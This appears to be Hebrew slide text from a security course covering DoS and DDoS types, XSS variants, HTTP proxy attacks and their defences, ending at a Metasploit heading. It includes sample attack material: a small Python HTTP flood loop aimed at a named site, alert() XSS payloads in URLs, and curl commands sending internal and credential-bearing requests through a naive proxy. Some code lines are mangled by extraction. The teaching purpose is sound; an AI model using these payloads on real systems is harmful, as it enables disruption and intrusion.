• 2. SYN Flood: מנצלת את פרוטוקול TCP כדי לשלוח בקשות חיבור רבות לשרת מבלי להשלים את התהליך. השרת נשאר עם חיבורים פתוחים וממתין לאישור, דבר שמוביל לניצול המשאבים.

• התקפת DoS מבוססת על יישומים:

• 1. Application Layer Attack: פועלת על שכבת היישום של פרוטוקול ה-HTTP או פרוטוקולים אחרים. לדוגמה, שליחת בקשות רבות שמביאות את השרת להאט או לקרוס בגלל עומס על היישום עצמו.

• התקפת Distributed Denial of Service (DDoS)

• 1. DDoS: התקפה שבה תוקפים משתמשים במספר מחשבים זרים כדי להציף את היעד בבקשות. ההתקפה נעשית על ידי צבא של מחשבים מותקפים, הידוע גם כ-Botnet

• המשך - התקפת מניעת שירות

• טכניקות התקפה נוספות

• התקפת Resource Exhaustion:

• התקפת חוויות Resource Exhaustion Attack: מבוצעת על ידי ניצול חולשות בתכנות או בתצורת השרת כדי להותיר את השרת ללא משאבים, כמו זיכרון או CPU. לדוגמה, שליחה של בקשות המסיבות לעומס על בסיסי נתונים או על כל רכיב אחר שדורש משאבים.

• התקפת Amplification:

• DNS Amplification Attack: DNS מנצלת את פרוטוקול DNS כדי לשגר תעבורה גדולה מאוד לשרת היעד. התוקף שולח בקשות DNS מזויפות לשרתים ציבוריים עם כתובת ה-IP של היעד, והשרתים הללו שולחים תשובות גדולות מאוד שמציפות את השרת היעד.

• התקפת HTTP Flood:

• HTTP Flood Attack: מתקפה המכוונת לפרוטוקול HTTP שבו התוקף שולח בקשות HTTP רבות כדי למלא את רוחב הפס של השרת או להעמיס על היישום עצמו, מה שמוביל לירידה בביצועים או קריסת השרת.

• דוגמאות נוספות

• התקפת Slowloris: היא טכניקת התקפה שמביאה את השרת להיתקע על בקשות חיבור פתוחות. התוקף שולח בקשות HTTP חלקיות ומחזיק את החיבורים פתוחים ככל האפשר, מה שגורם לשרת להמתין לאישור של בקשות, ובכך מתרוקן מהמשאבים הנדרשים לטיפול בבקשות חדשות.

• התקפת Ping of Death: היא התקפה ישנה שבה התוקף שולח מנות פינג גדולות מהרגיל (יותר מ-65,535 בתים) ליעד. השרת או המחשב היעד עלול לקרוס או להיתקל בבעיות בזיכרון בעקבות ניסיון לעבד מנות נתונים גדולות מדי.

• טכניקות נגד

• Rate Limiting: מגביל את מספר הבקשות שמגיעות מאותו מקור בפרק זמן מסוים. על ידי הגדרת גבולות, ניתן למנוע תעבורה מיותרת ולשמור על יציבות השירות.

• Challenge-Response Tests: משתמשים באתגרים כמו CAPTCHA כדי לוודא שהבקשות מגיעות מלקוחות אמיתיים ולא מבוטות.

• Load Balancers: מפזרים את העומס על פני מספר שרתים כדי לשפר את יכולת ההתמודדות עם התקפות ולמנוע מהשרתים המרכזיים להיות מוצפים.

• Anycast: טכניקת Anycast מאפשרת להפיץ תעבורה על פני מספר מיקומים גאוגרפיים, מה שמסייע בהפחתת העומס והגברת עמידות בפני התקפות DDoS

• Cloud-Based DDoS Protection Services: שימוש בשירותים כמו AWS Shield, Cloudflare, Akamai שמספקים הגנה מיוחדת והפחתה של התקפות DDoS

איך מתמודדים עם התקפות DoS

- איך מתמודדים עם התקפות DoS
- שימוש בחומות אש Firewalls:
- חומות אש יכולות לסנן תעבורה בלתי רצויה ולהגביל את כמות הבקשות שמגיעות לשרתים.
- שירותי CDN (Content Delivery Network):
- CDN יכול לשמש כמסנן לתעבורה ולפיזר את הבקשות על פני מספר שרתים, מה שמסייע בהפחתת העומס על השרתים המרכזיים.
- מניעת התקפות DDoS:
- כלים מיוחדים לזיהוי ומניעת התקפות DDoS יכולים לשפר את יכולת ההגנה של הרשת על ידי ניתוח התעבורה וזיהוי תנועות חשודות.

התקפת מניעת שירות - שאלות

- התקפת מניעת שירות - שאלות
- 1. מה ההבדל בין התקפת DoS להתקפת DDoS ?
- 2. איך חומת אש יכולה לסייע במניעת התקפות DoS ?
- 3. אילו צעדים ניתן לנקוט כדי להגן על שרתים מהתקפות HTTP Flood ?

התקפת מניעת שירות - שאלת קוד

- התקפת מניעת שירות – שאלת קוד
- import requests
- # 'url = 'http://BoysTownJerusalem.com
- def simple_http_flood():
- # שליחת 10 בקשות
- for _ in range(10):
- response = requests.get(url)
- print(f"Status Code: {response.status_code}")
- simple_http_flood()
- הסבר מה עושה הקוד הבא?

התקפת מניעת שירות - תשובת קוד

- התקפת מניעת שירות – תשובת קוד

- הקוד פשוט מדמה התקפת HTTP Flood על שרת. הקוד צריך לשלוח בקשות GET חוזרות לאתר אינטרנט מסוים.
- היינו, השתמשנו בספריית requests שמשמשת לשליחת בקשות HTTP ב-Python, ובנוסף השתמשנו בפונקצית simple_http_flood שהיא שולחת 10 בקשות GET לאתר היעד ומדפיסה את קוד הסטטוס של התגובה.

התקפת XSS

- התקפת XSS
- מהי התקפת XSS?
- Cross-Site Scripting (XSS) היא סוג של חולשת אבטחת מידע המאפשרת לתוקף להזריק סקריפטים זדוניים לתוך דפי אינטרנט הנצפים על ידי משתמשים אחרים. התקפה זו מתרחשת כאשר אפליקציית אינטרנט אינה מבצעת קידוד או בידוד נכון של קלט מהמשתמשים לפני הצגת הנתונים בדפדפן.
- המשך - התקפת XSS
- סוגי XSS
- ישנם שלושה סוגים עיקריים של התקפות XSS
- 1. Stored XSS (Persistent XSS): התוקף מזריק קוד זדוני לתוך דף האינטרנט המאוחסן בשרת (כגון פוסט בפורום או תגובה בבלוג), והדבר גורם לכך שכל משתמש שיצפה בדף הנגוע יריץ את הקוד הזדוני.
- 2. Reflected XSS (Non-Persistent XSS): הקוד הזדוני "משתקף" חזרה אל המשתמש כחלק מבקשה HTTP למשל, קישור זדוני שנשלח במייל, הקוד הזדוני מופעל כאשר המשתמש לוחץ על הקישור.
- 3. DOM-Based XSS: מתרחשת בצד הלקוח כאשר הסקריפט הזדוני משונה או מנצל את מבנה ה-DOM (Document Object Model) של הדף. הקוד זדוני מוזרק באמצעות שינוי ה-DOM דרך JavaScript

סוגי תקיפות XSS

- סוגי תקיפות XSS
- 1. Stored XSS (Persistent XSS):
- תיאור: התקפת Stored XSS מתרחשת כאשר הקוד הזדוני מוזן לאתר ונשמר בשרת באופן קבוע, למשל כתגובה לפוסט, הודעה בפורום, או תוכן אחר שמשתמשים אחרים יראו. כאשר משתמש אחר גולש לדף המכיל את הקוד הזדוני, הסקריפט מורץ בדפדפן שלו.
- דוגמה: נניח שיש לנו פורום שמאפשר למשתמשים לפרסם תגובות ללא שום קידוד או בדיקה מקדימה של הקלט. משתמש זדוני יכול להכניס קוד JavaScript לתגובה שלו, כמו

```
<script>alert('XSS Attack!');</script>
```

- כאשר משתמשים אחרים יגלוש לדף התגובות, הקוד הזדוני ירוץ בדפדפן שלהם ויציג הודעת התראה.
- סיפור להמחשה: בוא נחשוב על פורום פופולרי בשם "פורום יניב". יום אחד, משתמש בשם מיכאל מחליט לשתף תמונה של התחביב שלו, והוא כותב תגובה. משתמש אחר בשם דני מחליט לנצל את ההזדמנות ולשתול קוד זדוני בתגובה:

```
<script>alert('Yaniv the king of the world!');</script>
```

• כל מי שנכנס לדף ורואה את התגובה של דני יקבל התראה עם ההודעה "Yaniv the king of the world!" ההנהלה של "פורום יניב" מבינה מהר מאוד שיש בעיית אבטחה ושהם חייבים לטפל בה כדי להגן על המשתמשים.

• 2. Reflected XSS (Non-Persistent XSS):

• תיאור: התקפת Reflected XS מתרחשת כאשר הקוד הזדוני משתקף חזרה אל המשתמש כחלק מבקשת HTTP זה קורה בדרך כלל כאשר משתמש מקבל קישור זדוני ולוחץ עליו, מה שמוביל להרצת הקוד הזדוני בדפדפן שלו.

• דוגמה: נניח שיש לנו אתר חיפוש שמחזיר את התוצאות ללא קידוד נכון:

• (הפונקציה GET לא עושה קידוד)

• `php?>`

• `} if (isset($_GET['query']))`

• `;query = $_GET['query']$`

• `;echo "You searched for: " . $query`

• `<"form method="GET">`

• `<"input type="text" name="query">`

• `<"input type="submit" value="Search">`

• `<form/>`

• תוקף יכול לשלוח קישור זדוני:

• המשך - סוגי תקיפות XSS

`http://example.com/search.php?query=<script>alert('XSS Attack!');</script>`

• כאשר המשתמש ילחץ על הקישור הזה, הקוד הזדוני ירוץ בדפדפן שלו.

• סיפור: נניח שאביגיל קיבלה מייל מחבר שלה, אורי, עם קישור לאתר שהוא מצא מעניין:

`http://example.com/search.php?query=<script>alert('Hello, Abigail!');</script>`

• כאשר אביגיל לוחצת על הקישור, היא רואה הודעת התראה עם ההודעה "Hello, Abigail!" אביגיל מבינה שמישהו ניצל את המערכת של האתר כדי להציג לה הודעה אישית.

• 3. DOM-Based XSS:

• מה זה DOM ? DOM הוא מונח שמייצג את הדרך שבה דפי אינטרנט מיוצגים בזיכרון המחשב. זהו מודל אובייקטים שמסביר כיצד רכיבי דף אינטרנט (כגון תגיות HTML, CSS, ואובייקטים מאורגנים ומתקשרים ביניהם).

• תיאור: התקפת DOM-Based XSS מתרחשת בצד הלקוח כאשר הקוד הזדוני משנה את מבנה ה-DOM של הדף או מנצל אותו דרך JavaScript זה יכול לקרות כאשר קלט מהמשתמש מטופל בצד הלקוח ללא קידוד נכון.

• דוגמה: נניח שיש לנו דף HTML שמטפל בקלט מה-URL דרך JavaScript: בשקופית הבאה..

• `<DOCTYPE html!>`

• <html>

• <head>

• <title>DOM XSS Example</title>

• </head>

• <body>

• <div id="output"></div>

• <script>

• ;var output = document.getElementById('output')

• ;var urlParams = new URLSearchParams(window.location.search)

• ;var name = urlParams.get('name')

• ;output.innerHTML = "Hello, " + name

• </script>

• </body>

• </html>

• הבעיה: בקוד הזה, אנחנו לוקחים ערך מה- URL ומכניסים אותו ישירות לתוך ה-DOM באמצעות innerHTML בלי שום קידוד או בדיקה. זה פותח את האפשרות להזרקת קוד זדוני.

• הסבר על הבעיה:

• שימוש בפונקציה innerHTML מאפשרת להכניס HTML כולל סקריפטים ישירות לתוך אלמנט ב-DOM כל קלט שמזן ל-innerHTML עשוי להתפרש כקוד HTML או JavaScript ולא כטקסט פשוט.

• דוגמה להתקפה:

• אם מישהו ישלח קישור כזה:

`http://example.com/dom-xss.html?name=<script>alert('DOM XSS');</script>`

• הקוד הזדוני יוכנס ישירות לתוך ה-DOM ויריץ את ההודעה:

`Hello, <script>alert('DOM XSS');</script>`

• תוצאה:

• הודעת התראה תופיע עם הטקסט DOM XSS מה שמוכיח שהקוד הזדוני רץ בדפדפן.

• הגנה מפני XSS

• 1. Stored XSS

- קידוד פלט Output Encoding השתמש בפונקציות שמבצעות קידוד של הפלט לפני הצגתו בדפדפן, כמו htmlspecialchars ב-PHP

- בידוד קלט Input Sanitization בדוק ונקה את הקלט לפני עיבודו.

- 2. Reflected XSS

- קידוד פלט Output Encoding קידוד הקלט מהמשתמש לפני החזרתו.

- שימוש בפרמטרים מסוננים: בדוק וודא שהקלט תקין ולא מכיל קוד זדוני.

- 3. DOM-Based XSS

- שימוש ב-DOMPurify כלי לניקוי קלט זדוני מ-DOM

- הימנעות מהכנסת קוד HTML ישירות ל-DOM : השתמש בפונקציות בטוחות לטיפול בקלט כמו textContent

- הגנה מפני XSS מאוחסן Stored XSS:

- 1. קידוד פלט Output Encoding: יש להשתמש בפונקציות שמבצעות קידוד של הפלט לפני הצגתו בדפדפן. דוגמה לפונקציה כזו ב-PHP היא htmlspecialchars שמבצעת המרה של תווים מיוחדים כמו < & > ", לישויות HTML

```
comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
```

```
echo $comment;
```

- כאן הפונקציה htmlspecialchars משמשת להמרת תווים מיוחדים בקלט לישויות HTML כדי למנוע התקפות XSS

- לדוגמה:

- הקוד: `<script>alert('XSS')</script>`

- אם נציג את הקלט הזה בלי קידוד, הדפדפן יפרש אותו כקוד JavaScript ויבצע אותו, מה שיגרום להתרעה alert להופיע על המסך. אבל אם נשתמש ב- htmlspecialchars הקלט יומר ל:

```
&lt;script&gt;alert('XSS')&lt;/script&gt;
```

- וכך הדפדפן יציג את הקלט הזה כטקסט רגיל במקום לבצע אותו כקוד.

- 2. בידוד קלט Input Sanitization: יש לבדוק ולנקות את הקלט לפני עיבודו ואחסונו במסד הנתונים. ניקוי קלט יכול לכלול הסרת תווים לא רצויים או הגבלת קלט לתבניות מסוימות.

- לדוגמה הקוד:

```
comment = filter_input(INPUT_POST, 'comment', FILTER_SANITIZE_STRING);
```

- filter_input(): זו פונקציה מובנית ב-PHP המשמשת לסינון ולולידציה של קלטים שהתקבלו מהמשתמש. היא פועלת על המערכים הגלובליים כמו GET, POST וכו' הפונקציה מחזירה את הקלט המסונן או FALSE אם הקלט לא קיים או לא תקף.

- לדוגמה, אם נריץ את: `!Hello <script>alert('XSS')</script> World`

- אזי נקבל את הפלט: `!Hello alert('XSS'); World`

- כלומר, התווים הזדוניים script, script/ הוסרו.

- הגנה מפני XSS משתקף Reflected XSS:

- קידוד פלט Output Encoding: קידוד הקלט מהמשתמש לפני החזרתו לדפדפן. כמו בדוגמה הקודמת, htmlspecialchars הוא כלי טוב מאוד.

- לדוגמה, עבור הקוד:

- `;query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8')$`

- `;echo "Results for: " . $query`

- גם כאן הפונקציה htmlspecialchars שמבצעת המרה של תווים מיוחדים כמו `<`, `>` ו `&`, לישויות HTML

- ובנוסף יש שימוש גם ב- `filter_input()` כמו בשקף הקודם.

- הגנה מפני XSS מבוסס DOM (DOM-Based XSS):

- היגיינת קלט Input Sanitization

- ניקוי קלט: תמיד לנקות ולהסיר תווים מיוחדים ובלתי רצויים מקלטי המשתמש לפני עיבודם. לדוגמה, שימוש בספריית כמו DOMPurify לניקוי HTML

- קידוד פלט: תמיד לקודד את הפלט לפני הצגתו בדף, כך שהקוד לא יתפרש כקוד JavaScript. לדוגמה, שימוש ב- `textContent` או ב- `innerHTML` כאשר רוצים להוסיף טקסט בלבד.

- לדוגמ, עבור הקוד הבא:

- `;var clean = DOMPurify.sanitize(dirty)`

- `;document.getElementById('content').innerHTML = clean`

התקפת HTTP Proxy

- HTTP Proxy התקפת

- מהי התקפת HTTP Proxy? התקפת HTTP Proxy היא סוג של מתקפת אבטחה שבה תוקף מנצל שרת פרוקסי כדי לבצע פעולות זדוניות או לעקוב אחר תעבורת רשת. מתקפה זו יכולה לכלול ציתות, שינוי תכנים, ניתוב מחדש של בקשות, והזרקת קוד זדוני.

- מהו שרת פרוקסי? שרת פרוקסי הוא שרת שפועל כמתווך בין משתמש (לקוח) לבין השרת אליו הוא פונה. פרוקסי משמש לעיתים קרובות לצורך שיפור ביצועים Caching הגנה על זהות המשתמש, והגברת האבטחה.

- המשך - התקפת HTTP Proxy

- סוגי התקפות: HTTP Proxy

- 1. Man-in-the-Middle (MITM)

- בהתקפת MITM התוקף מיירט את התקשורת בין הלקוח לשרת. הוא יכול לשנות את התוכן, לקרוא את המידע המועבר ואפילו להזריק קוד זדוני.

- 2. HTTP Injection

- בהתקפת HTTP Injection התוקף מזריק פקודות HTTP או קוד זדוני לבקשות HTTP, זה יכול לקרות כאשר הלקוח שולח בקשה לפרוקסי, והפרוקסי לא מבצע בדיקות תקינות על התוכן.

- 3. DNS Spoofing

- בהתקפת DNS Spoofing התוקף משנה את כתובת ה-DNS של השרת כדי לנתב את התעבורה לאתר מזויף או לשרת שנשלט על ידו.

- 4. Session Hijacking

- בהתקפת Session Hijacking התוקף גונב את ה-Session ID של המשתמש ומשתמש בו כדי לגשת לחשבון או למידע שלו.

- טכניקות מתקדמות לתקיפה:

- 1. SSL Strip

- זוהי טכניקה שבה התוקף מוריד את שכבת ה-SSL של תקשורת HTTPS מה שמאפשר לו לקרוא ולשנות את התעבורה המוצפנת. זה נעשה על ידי ניתוב מחדש של בקשות HTTPS לבקשות HTTP רגילות.

- איך זה עובד?

- המשתמש מבקש לגשת לאתר HTTPS

- התוקף מקבל את הבקשה ומשיב עם עמוד HTTP לא מוצפן.

- כל התקשורת הבאה מתבצעת בפרוטוקול HTTP, המאפשר לתוקף לצותת ולהתערב בתעבורה.

- המשך טכניקות מתקדמות לתקיפה:

- 2. HTTP Parameter Pollution (HPP)

- זוהי טכניקה שבה התוקף מזריק פרמטרים נוספים לבקשת HTTP במטרה לשנות את התנהגות השרת. ניתן להשתמש בזה כדי לעקוף אימותים, לגשת למידע רגיש או לבצע פעולות בלתי מורשות.

- התוקף מזהה פרמטר בקשת HTTP שהשרת לא בודק כראוי.

- הוא מזריק פרמטר נוסף או משנה פרמטר קיים כדי לשנות את התנהגות השרת.

איך מתבצעת התקפת HTTP Proxy?

- איך מתבצעת התקפת HTTP Proxy?

- שלב 1: יצירת שרת פרוקסי זדוני

- התוקף יוצר שרת פרוקסי זדוני ומפיץ את כתובתו ללקוחות. הלקוחות עלולים להגדיר את הפרוקסי הזדוני כשרת פרוקסי שלהם בגלל סיבות שונות, כגון פרסום מזויף או הנדסה חברתית.

- שלב 2: ירוט תעבורה

- כשהלקוחות מתחילים להשתמש בפרוקסי, התוקף מיירט את כל התעבורה העוברת דרכו. הוא יכול לצפות בתוכן הבקשות והתשובות, לשנות אותן או להזריק קוד זדוני.

- שלב 3: ביצוע הפעולות הזדוניות

- התוקף יכול לבצע מספר פעולות זדוניות כמו גניבת מידע רגיש (סיסמאות, כרטיסי אשראי), שינוי תוכן התשובות (להציג תכנים זדוניים במקום האתר המקורי), והזרקת קוד זדוני (למשל, JavaScript שמבצע פעולות מזיקות).

דרכים להתגונן מהתקפת HTTP Proxy

- דרכים להתגונן מהתקפת HTTP Proxy
 - 1. שימוש בהצפנה: HTTPS השתמש בפרוטוקול HTTPS להצפנת התעבורה בין הלקוח לשרת. זה מקשה על התוקף לקרוא או לשנות את התוכן המועבר.
 - 2. אימות שרתים: Server Authentication: ודא שהלקוח מאמת את זהות השרת באמצעות תעודות SSL כך ניתן לוודא שהלקוח מתקשר עם השרת האמיתי ולא עם פרוקסי זדוני.
 - 3. זיהוי פעילות חשודה: עקוב אחר תעבורת הרשת שלך ונסה לזהות פעילות חשודה, כמו בקשות לא מוכרות או ניתוב בלתי צפוי.
 - 4. שימוש ב-VPN: שימוש ב-VPN מקשה על התוקף ליירט את התעבורה כיוון שהתעבורה מוצפנת ומועברת דרך שרת מאובטח.
 - 5. עדכון תוכנות והגדרות: ודא שכל התוכנות וההגדרות מעודכנות, כולל דפדפנים, מערכות הפעלה ושרתים. עדכונים מכילים לעיתים קרובות תיקוני אבטחה שמונעים ניצול פרצות.

כלים נוספים לתקיפת HTTP Proxy

- כלים נוספים לתקיפת HTTP Proxy
 - Fiddler : Fiddler הוא כלי רב עוצמה לבדיקת תעבורת HTTP/HTTPS הוא מאפשר ליירט, לערוך ולנתח תעבורה בין הלקוח לשרת.
 - התקנה והפעלה:

```
sudo apt-get install fiddler
```
 - fiddler
 - 2. Wireshark : Wireshark הוא כלי לניתוח רשת שמאפשר לצפות בתעבורה בזמן אמת ולבצע ניתוח עמוק של פרוטוקולים. זהו כלי חזק מאוד לציתות וניתוח תעבורה.
 - ```
sudo apt-get install wireshark
```
  - ```
sudo wireshark
```
 - 3. Ettercap : Ettercap הוא כלי לקיום מתקפות MITM ברשתות מקומיות. הוא מאפשר ליירט, לשנות ולנתח תעבורה.

```
sudo apt-get install ettercap-graphical
```

```
sudo ettercap -G
```

דרכים מתקדמות להתגוננות מ-HTTP Proxy

- דרכים מתקדמות להתגוננות מ-HTTP Proxy

• 1. HTTP Strict Transport Security (HSTS)

• HSTS הוא מנגנון אבטחה שמבטיח שהדפדפן יתקשר רק בפרוטוקול HTTPS עם השרת, מה שמונע מתקפות SSL Strip

• איך להפעיל HSTS ? בכדי להפעיל HSTS יש להוסיף את הכותרת הבאה לתשובות HTTP של השרת:

• Strict-Transport-Security: max-age=31536000; includeSubDomains

• 2. Content Security Policy (CSP)

• CSP הוא מנגנון אבטחה שמגביל את סוגי התוכן שניתן לטעון באתר. זה יכול למנוע התקפות כמו XSS והזרקת קוד.

• איך להגדיר CSP: הוסף את הכותרת הבאה לתשובות HTTP של השרת:

• 'Content-Security-Policy: default-src 'self'; script-src 'self'

• המשך - דרכים מתקדמות להתגוננות מ- HTTP Proxy

• 3. Client Certificates

• שימוש בתעודות לקוח לאימות הדדי בין הלקוח לשרת. זה מקשה מאוד על התוקף להתחזות ללקוח או לשרת.

• 4. Network Segmentation: חלוקה של הרשת לתתי-רשתות מבודדות יכולה להקשות על התוקף לנוע בין חלקי הרשת ולצמצם את הנזקים הפוטנציאליים.

דוגמה מעשית: יצירת פרוקסי ויירוט תעבורה

• דוגמה מעשית: יצירת פרוקסי ויירוט תעבורה

• נראה לך איך תוקף עשוי להשתמש בכלים כמו Burp Suite כדי ליירט תעבורה ולעשות שינויים בבקשות HTTP

• 1. התקנת Burp Suite: אם אתה משתמש ב-Kali Linux, כבר מותקן. כדי להפעיל אותו על ידי הפעולה הזאת:

• burpsuite

• 2. הגדרת דפדפן להשתמש בפרוקסי של Burp Suite: הגדר את הדפדפן שלך להשתמש בכתובת ה-IP ובפורט שבו Burp Suite מקשיב (למשל, 127.0.0.1:8080).

• 3. יירוט בקשות HTTP: לאחר שהדפדפן מוגדר להשתמש בפרוקסי, כל הבקשות והתשובות יעברו דרך Burp Suite התוקף יכול לצפות בבקשות, לשנות אותן ולשלוח אותן לשרת היעד.

• 4. שינוי תוכן הבקשה: נניח שדף התחברות שולח בקשת POST עם פרטי המשתמש. התוקף יכול לשנות את הפרטים ולשלוח בקשה שונה לשרת.

התקפת HTTP Proxy- שאלות

• התקפת HTTP Proxy- שאלות

• 1. מהם הסיכונים בשימוש בפרוקסי ציבורי?

• 2. כיצד ניתן להגן על תקשורת HTTPS מפני מתקפות SSL Strip ?

• 3. מהם היתרונות בשימוש ב-CSP ?

• 4. כיצד ניתן לזהות פעילות חשודה בפרוקסי?

לקראת שאלה רצינית על HTTP Proxy

• לקראת שאלה רצינית על HTTP Proxy

• תזכורת: שרת HTTP Proxy הוא מתווך שמקבל בקשות מלקוח (כמו דפדפן אינטרנט), מעביר את הבקשות לשרת היעד, מקבל את התשובה מהשרת היעד ומחזיר אותה ללקוח. זה מאפשר מספר דברים:

• אנונימיות: הפרוקסי יכול להסתיר את כתובת ה-IP של הלקוח מהשרת היעד.

• בקרה וניטור: אפשר לנטר ולשלט בתעבורה העוברת דרך הפרוקסי.

• מטמון: ניתן לשמור עותקים של התשובות מהשרתים בשרת הפרוקסי ולהחזירם בעתיד מבלי לשלוח בקשה חדשה לשרת היעד.

• מה עושים בתרגיל?

• בתרגיל, המטרה היא ליצור שרת פרוקסי פשוט ב-Python באמצעות ספריית http.server הפרוקסי הזה יאזין לבקשות נכנסות מלקוחות, יעביר אותן לשרת היעד ויחזיר את התשובה מהשרת היעד ללקוח.

• המשך..

שאלה רצינית על HTTP Proxy

• המשך - שאלה רצינית על HTTP Proxy

• `import http.server`

• `import socketserver`

• `import requests`

• `class Proxy(http.server.SimpleHTTPRequestHandler):`

• `:def do_GET(self):`

• `Print the request path #`

• `print(f"Handling GET request for {self.path}")`

•

• `Forward the request to the destination server #`

• `response = requests.get(self.path)`

•

• `Return the response from the destination server to the client #`

- `self.send_response(response.status_code)`
- `:()for key, value in response.headers.items`
- `self.send_header(key, value)`
- `()self.end_headers`
- `self.wfile.write(response.content)`

1. הזרקת URL HTTP Proxy

- 1. הזרקת URL HTTP Proxy

- כיוון שהשרת שלנו מעביר כל בקשה שהוא מקבל לשרת היעד ללא שום בדיקה או אימות, תוקף יכול לשלוח בקשות לכתובות זדוניות או לשרתים פנימיים ברשת.

- דוגמה להתקפה: נשלח בקשה לכתובת פנימית על ידי שימוש בפרוקסי שלנו:

```
curl -x http://localhost:8888 http://localhost:8888/sensitive_endpoint
```

- מה קורה כאן?

- הפעלת הפרוקסי: תוקף מפעיל את שרת הפרוקסי שלנו שמאזין לבקשות נכנסות בפורט 8888.

- שליחת בקשה זדונית: תוקף שולח בקשה דרך הפרוקסי שלנו לכתובת פנימית או לא מורשית והיא:

```
http://localhost:8888/sensitive_endpoint
```

- התנהגות הפרוקסי: השרת הפרוקסי שלנו מקבל את הבקשה ומעביר אותה לכתובת המצוינת, במקרה הזה כתובת פנימית על אותו שרת.

- חשיפת מידע רגיש:

- אם הכתובת הפנימית מכילה מידע רגיש או משאבים שאסור לגשת אליהם מבחוץ, התוקף יקבל את המידע הזה דרך הפרוקסי שלנו.

התקפה הלכה למעשה על HTTP Proxy

- המשך - התקפה הלכה למעשה על HTTP Proxy

- בעיות בקוד

- גישה לכתובות פנימיות - בעיה: בקוד הפרוקסי שלנו, כתובת ה-URL של הבקשה מועברת ישירות לשרת היעד ללא בדיקות או סינונים.

- סיכון: אם השרת הפרוקסי שלך פועל באותו מחשב שבו ישנם גם שירותים פנימיים או רגילים, תוקף יכול לשלוח בקשות לכתובות פנימיות אלו כמו `http://localhost:8888/sensitive_endpoint` ולהשיג גישה למשאבים או מידע שלא היה נגיש להם במצב רגיל.

- העברת בקשות לא מורשות - בעיה: אין מגבלות על כתובת ה-URL שאליה הבקשות מועברות. כל בקשה שנשלחת לפרוקסי תועבר לשרת היעד, גם אם מדובר בכתובת לא מורשית או מסוכנת

- סיכון: תוקף יכול לנצל את הפער הזה כדי לבצע התקפות, כמו שליחת בקשות לכתובת פנימית או סודית של השרת, מה שיכול להוביל לחשיפת מידע רגיש.

- העברת בקשות פוגעניות:

- בעיה: אם השרת הפרוקסי שלך מאפשר בקשות POST או PUT, תוקף יכול לשלוח בקשות עם תוכן זדוני (כגון מתקפות הזרקת SQL או XSS).

- סיכון: תוקף יכול לשלוח בקשות עם נתונים פוגעניים דרך הפרוקסי, ולגרום לנזק לשרת היעד או לגנוב מידע רגיש.
- ולכן, עבור:

```
curl -x http://localhost:8888 http://localhost:8888/sensitive_endpoint
```

- הפרוקסי מקבל את הבקשה `http://localhost:8888/sensitive_endpoint`

- הפרוקסי מעביר את הבקשה לשרת היעד בכתובת הפנימית.

- אם `sensitive_endpoint/` מכיל מידע רגיש או פונקציות מסוכנות, התוקף יכול לגשת אליהם.

- תוצאה:

- התוקף מקבל את התגובה מהכתובת הפנימית, ויכול לחשוף מידע רגיש או לבצע פעולות זדוניות.

- בעיות פוטנציאליות והתקפות

- שימוש בפרוקסי כדי לשלוח בקשות זדוניות

- בעיה: השרת הפרוקסי שלנו מעביר כל בקשה שהוא מקבל לשרת היעד מבלי לבדוק או להניח מגבלות על סוגי הבקשות או התוכן שלהן.

- התקפה: תוקף יכול לשלוח בקשות POST עם נתונים זדוניים כמו במקרה הזה (התחברות עם פרטי משתמש גנובים) או נתונים זדוניים אחרים דרך הפרוקסי.

- הסיכון: אם השרת היעד `http://example.com/login` לא מאובטח כראוי, תוקף יכול לנצל את השרת כדי לבצע פעולות כמו התחברות עם פרטי משתמש גנובים, שליחת נתונים רגישים, או התקפות אחרות.

- העברת בקשות זדוניות לשרתים אחרים

- בעיה: תוקף יכול להשתמש בפרוקסי כדי לשלוח בקשות זדוניות לשרתים אחרים שמאוחסנים מאחורי הפרוקסי.

- התקפה:

- תוקף שולח בקשה לכתובת של עמוד התחברות `http://example.com/login` עם פרטי התחברות שהיו צריכים להיות מוגבלים.

- הסיכון:

- השרת היעד עלול להיות חשוף לפרצות אבטחה כמו התקפות על בסיס נתונים, התקפות של הזרקת SQL, חשיפת מידע אישי.

- ניצול פרוקסי לצורך התקפות משולבות

- בעיה: אם השרת הפרוקסי מתפקד כמו מתווך שמאפשר לתוקפים לשלוח בקשות עם תוכן זדוני, הוא יכול לשמש כבסיס להתקפות אחרות כמו דליפת נתונים או תקיפות על תשתיות אחרות.
- התקפה: תוקף יכול לשלוח נתונים כמו בקשות התחברות, מידע שולי, או בקשות שמבצעות פעולות מסוימות באתר היעד.
- הסיכון: עלול להוביל להפרת פרטיות או נזק לשירותים, במיוחד אם הם אינם מוגנים כראוי.
- איך למנוע את הבעיות
- אימות ובקרת גישה:
- הגבל את סוגי הבקשות: ודא שהפרוקסי מעביר רק סוגי בקשות מסוימים (למשל GET בלבד).
- מניעת גישה לכתובות רגישות: השתמש ברשימות לבנות או בקורות גישה כדי למנוע גישה לכתובות או משאבים שאסור לגשת אליהם.
- שימוש בבקורות תוכן:
- סינון תוכן: סנן את התוכן של הבקשות המתקבלות והודעות התגובה.
- הגבלת תוכן: אל תאפשר בקשות עם תוכן פוגעני או לא נדרש.
- ניטור ותגובה:
- ניטור בקשות: עקוב אחרי הבקשות שמטפל בהן הפרוקסי וודא שאין התנהגות חריגה או בקשות זדוניות.
- תגובה לתקיפות: תהיה מוכן להתמודד עם התקפות ולנקוט צעדים כדי לצמצם נזקים אם הם מתרחשים.

2. שימוש בשרת הפרוקסי לשליחת בקשות זדוניות

- 2. שימוש בשרת הפרוקסי לשליחת בקשות זדוניות
- תוקף יכול להשתמש בשרת הפרוקסי כדי לבצע התקפות על שרתים אחרים, כגון התקפות מניעת שירות DDoS או הזרקת SQL
- דוגמה להתקפה:
- נשלח בקשת POST זדונית לשרת היעד:
- ```
curl -x http://localhost:8888 -X POST -d "username=admin&password=1234" http://example.com/login
```
- מה עושה הקוד הזה?
- ```
curl -x http://localhost:8888
```

 : מציין שהשימוש בשרת פרוקסי שמאזין על כתובת `http://localhost:8888`
- `X POST`: מבצע בקשת `POST` ולא בקשת `GET` רגילה. זה חשוב כשמדובר בבקשות ששולחות נתונים לשרת.
- `-d "username=admin&password=1234"`: שולח נתונים בגוף הבקשה, במקרה זה נתוני התחברות כמו `username` ו-`password`
- `http://example.com/login`: הכתובת שאליה נשלחת הבקשה, במקרה זה כתובת עמוד התחברות.

Point-and-click metasploit

Point-and-click metasploit •

• מה זה Metasploit?

